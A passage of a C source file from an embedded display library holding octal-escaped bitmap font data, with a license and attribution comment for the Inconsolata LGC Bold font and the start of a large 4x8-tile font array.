"`\0\0\0\0\0\0\0\1\3\7\7\3\1\1\0\0\0\1\3\7\7\17\17\17\17\17\17\7\7\3\1" "\0\0\0\0\0\0\374\374\374\374\374\374\374\300\340\360\370\370\374\374\374\374\374\374\374\374\374\374\370\360\360\340" "\200\0\0\0\0\0\377\377\377\377\377\377\377\77\17\7\3\1\1\0\0\0\0\0\1\3\17\377\377\377\377\377" "\377\374\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60x\374\374\376\377\374\370\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\37\77\177\177\177\77\34\20\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\300\370\376\377\377\377\377\177\37\7\3\1\1\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377" "\377\376\370\300\177\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377" "\377\377\377\177\0\3\17\37\77\177\377\377\377\374\370\360\360\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\17\3\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374\377\376\374\374x\60\20\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\34>\177\177\177\77\37\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\300\370\376\377\377\377\377\177\37\7\3\1\1\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377" "\377\376\370\300\177\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377" "\377\377\377\177\0\3\17\37\77\177\377\377\377\374\370\360\360\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\17\3\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\374\376\376\376\374\360\340\300\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\20\70|\377\377\177\77\17\7\3\3\7\37\77\177\377\377~<\60\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\374\374\374\374\374\375\370\370\360\360\340\300" "\200\0\0\0\300\370\376\377\377\377\377\177\37\7\3\1\1\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377" "\377\376\370\300\177\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377" "\377\377\377\177\0\3\17\37\77\177\377\377\377\374\370\360\360\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\17\3\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\370\374\374\374\374\374\374\374\370\370\360\340\300\300\300\340\340\360\370\360" "\340@\0\0\0\0\0\0\1\3\3\7\3\1\1\0\0\0\1\3\7\7\17\17\17\17\17\17\17\7\3\1" "\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\300\370\376\377\377\377\377\177\37\7\3\1\1\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377" "\377\376\370\300\177\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377" "\377\377\377\177\0\3\17\37\77\177\377\377\377\374\370\360\360\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\17\3\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\0\340\360\370\370\370\370\360\360\340" "\0\0\0\0\0\0\0\0\3\7\17\17\17\17\7\7\3\0\0\0\0\0\0\3\7\17\17\17\17\17\7\3" "\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\300\370\376\377\377\377\377\177\37\7\3\1\1\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377" "\377\376\370\300\177\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377" "\377\377\377\177\0\3\17\37\77\177\377\377\377\374\370\360\360\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\17\3\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\37\77\77\77\77\37\17\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0~~~~~~~~~~~~~~~~~~~~~~~~~~" "~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\360\340\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\200\200" "\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\374\374\374\374\374\374\376\377\377\377\377\317" "\207\1\0\0\300\370\376\377\377\377\377\377\37\7\3\1\1\0\200\340\360\374\377\377\177\37\17\7\177\377\377\377" "\377\376\370\300\177\377\377\377\377\377\377\300\0\0\300\340\370\376\377\377\77\37\7\1\0\0\0\0\340\377\377\377" "\377\377\377\177\0\3\17\37\177\377\377\377\374\377\377\377\377\357\343\340\340\340\340\360\360\370\374\377\377\377\377\177" "\77\17\3\0\0\0\30<\77\177\177\177\37\7\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\20\70x\374\376\376\377\374\370\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\37\77\177\177\77\77\34\20\0\0\0\0\0" "\0\0\0\0\0\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374" "\374\374\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377" "\377\377\0\0\0\3\37\177\377\377\377\377\377\374\360\360\340\340\340\340\340\340\360\370\370\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\1\1\3\7\7\7\7\7\17\17\7\7\7\7\3\1\1\0\7\7\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\376\377\376\376\374x\70\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\34\77\77\177\177\77\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374" "\374\374\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377" "\377\377\0\0\0\3\37\177\377\377\377\377\377\374\360\360\340\340\340\340\340\340\360\370\370\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\1\1\3\7\7\7\7\7\17\17\7\7\7\7\3\1\1\0\7\7\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\376\376\376\376\370\360\340\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\20<~\377\377\77\37\17\7\1\3\7\37\77\177\377\177~<\20\0\0" "\0\0\0\0\0\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374" "\374\374\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377" "\377\377\0\0\0\3\37\177\377\377\377\377\377\374\360\360\340\340\340\340\340\340\360\370\370\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\1\1\3\7\7\7\7\7\17\17\7\7\7\7\3\1\1\0\7\7\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\340\360\370\370\370\370\360\360\340\0" "\0\0\0\0\0\0\0\0\3\7\17\17\17\17\7\7\3\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0" "\0\0\0\0\0\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374" "\374\374\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377" "\377\377\0\0\0\3\37\177\377\377\377\377\377\374\360\360\340\340\340\340\340\340\360\370\370\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\1\1\3\7\7\7\7\7\17\17\7\7\7\7\3\1\1\0\7\7\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\376\377\376\374\374\70\20\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\36\77\177\177\177\37\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\34|\374\374\374\374\374\374\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\374\374\374\374" "\374\374<\4\0\0\1\17\77\377\377\377\377\376\360\300\0\0\0\0\0\0\0\0\200\360\374\377\377\377\377\77" "\7\1\0\0\0\0\0\0\0\0\7\37\177\377\377\377\376\370\340\0\0\200\340\374\377\377\377\377\37\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\374\377\377\377\177\37\3\0\0\0\0\0" "\0\0\0\0\200\340\300\0\0\0\0\0\0\200\300\340\374\377\377\377\377\177\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\77\77\77\177\177~~\177\177\177\77\77\37\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\370\370\370\370\370\370\370\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\340\360\360\370\370\374\374\374\374\376\374\374\374\374\374\370\370\360\340\300" "\200\0\0\0\0\377\377\377\377\377\377\377\37\7\3\1\0\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377" "\377\377\374\340\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377" "\377\377\377\177\0\377\377\377\377\377\377\377\377\374\370\360\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\17\3\0\0\377\377\377\377\377\377\377\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\1\1\0\0" "\0\0\0\0\0\177\177\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\340\360\370\370\370\370\360\360\340\0" "\0\0\0\0\0\0\0\0\3\7\17\17\17\17\7\7\3\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0" "\0\0\0\0\14<\374\374\374\374\374\374\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\374\374\374\374" "\374\374<\4\0\0\1\7\37\377\377\377\377\376\370\300\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\77" "\17\1\0\0\0\0\0\0\0\0\3\17\177\377\377\377\377\374\340\200\0\0\340\374\377\377\377\377\77\7\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\377\377\377\377\374\377\377\377\377\37\7\0\0\0\0\0" "\0\0\0\0\200\340\300\200\0\0\0\0\0\0\200\340\370\377\377\377\377\177\37\3\0\0\0\0\0\0\0\0" "\0\0\0\0\37\77\77\177\177~~\177\177\177\77\77\37\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; #endif /* U8G2_USE_LARGE_FONTS */ /* Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--62-620-72-72-P-301-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 95/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inb46_4x8_r[24324] U8X8_FONT_SECTION("u8x8_font_inb46_4x8_r") = " ~\4\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\370\370\370\360\360\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\77\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\17\17\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\370\360\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\17\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\340\0\0\0\0\0\0\340\360\370\370\370\360\340\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377\377\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\77\77\0\0\0\0\0\0\77\77\77\77\77\77\77\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\300\300\0\0\0\0\0\0\300\300\300\300\300\300" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\1\0\0\0\0\0\376\377\377\377\377\377\7" "\0\0\0\0|||||||\374\377\377\377\377\377\377=<<<<<\376\377\377\377\377\377\177|" "||||\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377\377\377\377\7\0\0" "\0\0\0\0||||||\376\377\377\377\377\377~~~~~~\376\377\377\377\377\377\77>>>" ">>>\36\0\0\0\0\0\376\377\377\377\377\377\3\0\0\0\0\0\374\377\377\377\377\377\17\0\0\0\0" "\0\0\0\0\0\0\0\0\16\17\17\17\17\17\3\0\0\0\0\0\14\17\17\17\17\17\17\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\370\370\370\370\370\370\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\340\360\370\374\376\376\377\77\37\37\377\377\377\377\377\377\77\77\77\177\376\376\374\374\370" "p \0\0\0\0\37\177\377\377\377\377\377\370\340\300\300\377\377\377\377\377\377\0\0\0\0\0\3\3\1\0" "\0\0\0\0\0\0\0\0\1\3\7\7\17\17\37\37\77\377\377\377\377\377\377\376\374\374\374\370\370\360\340\340" "\300\0\0\0\0\0\0\200\300\300\0\0\0\0\0\0\0\377\377\377\377\377\377\0\1\1\3\7\377\377\377\377" "\377\377\374\0\0\14\37\77\177\177\377\376\374\374\370\370\360\377\377\377\377\377\377\360\370\370\374\377\377\177\77\37" "\17\7\0\0\0\0\0\0\0\0\0\0\1\1\1\1\3\77\77\77\77\77\77\1\1\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300" "\300\300\300@\374\376\377\377\377\37\37\17\17\37\77\377\377\377\376\374\360\0\0\0\300\340\370\376\377\377\377\77" "\17\3\1\0\37\77\177\377\377\376\374\370\370\374\376\377\377\177\77\237\347\360\374\377\377\377\177\37\7\1\0\0" "\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\300\360\370\376\377\377\177\77\17\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\377\77\37\7\301\360\370\374\376\376\177\77\77\77\177\376" "\376\374\370\360\0\0\300\360\374\376\377\377\177\37\17\3\0\0\0\0\37\177\377\377\377\377\360\340\340\340\360\377" "\377\377\377\177\6\7\7\7\7\7\7\1\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\17\7\7\7" "\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\360\370\376\376\377\377\377\77\37\37\17\17\37\37\177\377\377\377\377\376\370\360\0\0\0" "\0\0\0\0\0\0\0\17\77\377\377\377\377\377\370\340\200\0\0\200\340\370\377\377\377\377\177\77\17\0\0\0" "\0\0\0\0\0\0\200\300\340\360\371\373\377\377\177\77\377\377\377\377\377\377\347\203\3\1\0\0\0\0\300\300" "\300\200\0\0\374\377\377\377\377\377\37\7\1\0\0\0\0\1\3\7\37\77\177\377\377\376\374\370\340\374\377\377" "\377\177\77\17\77\177\377\377\377\377\376\370\360\340\340\340\340\340\340\360\360\370\374\375\377\377\177\77\177\377\377\377" "\371\360\340\300\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0\0\0\1\7\17" "\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\360\340\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\360\370\374\374\374\370" "\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374\376\377\377\377\177\37\17\7\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\377\177\17\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\376\377\377\377\377\377\377\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\77\377\377\377\377\377\377\360\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\37\177\377\377\377\377\377\370\340\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37\77\177\377\377\377\374\370\360\340\300\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\37\77\77\177\77" "\16\6\0\0\0\0\0\340\374\370\370\360\360\340\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\3\3\7\17\17\37\77\377\377\377\376\374\370\360\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377\377\377\377\374\360\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\377\377\377\377\377\377\374\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\377\377\177\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\377\377\77\7\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\370\376\377\377\377\177\77\37\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\14~\376\177\177\77\77\37\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300@\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\340\340\300\300\200\200\0\0\0\0\37\377\377\377\377\377\377\0\0\0\0\0\200\200\300\300" "\340\300\0\0\17\17\17\17\37\37\37\37\77\77\276\376\374\377\377\377\377\377\374\376\276>\77\37\37\37\37\17" "\17\17\17\10\0\0\0\200\300\340\360\370\376\377\377\177\77\17\7\3\7\17\77\177\377\377\376\370\360\340\300\200" "\0\0\0\0\0\0\0\3\3\7\17\17\7\3\1\0\0\0\0\0\0\0\0\0\1\3\17\17\17\7\3\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340\340\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\77\77\77\77\77\77\77\77\77\77\77\77\77\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77" "\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\17\17\17\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\37\277\377\377\377\377\377\377\77\0\0\0\0\0\0\0" 